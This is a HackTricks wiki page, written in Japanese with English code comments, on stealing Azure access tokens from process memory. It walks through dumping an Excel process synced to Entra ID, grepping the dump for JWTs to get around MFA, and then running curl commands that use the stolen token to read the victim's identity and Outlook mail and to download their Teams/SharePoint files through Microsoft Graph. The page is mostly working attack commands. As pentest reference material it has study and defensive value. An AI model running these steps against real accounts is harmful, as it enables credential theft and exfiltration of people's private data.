Az - Processes Memory Access Token

Support HackTricks

基本情報

このビデオで説明されているように、クラウドと同期された一部のMicrosoftソフトウェア(Excel、Teamsなど)は、メモリ内にアクセス トークンを平文で保存する可能性があります。したがって、プロセスのメモリをダンプし、JWTトークンをgrepするだけで、MFAをバイパスしてクラウド内の被害者のいくつかのリソースにアクセスできる可能性があります。

手順:

  1. お気に入りのツールを使用して、EntraIDユーザーと同期されたExcelプロセスをダンプします。

  2. string excel.dmp | grep 'eyJ0'を実行し、出力内のいくつかのトークンを見つけます。

  3. 最も興味のあるトークンを見つけ、それらに対してツールを実行します:

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

この種のアクセストークンは、他のプロセス内にも見つかることがあります。

HackTricksをサポートする

Last updated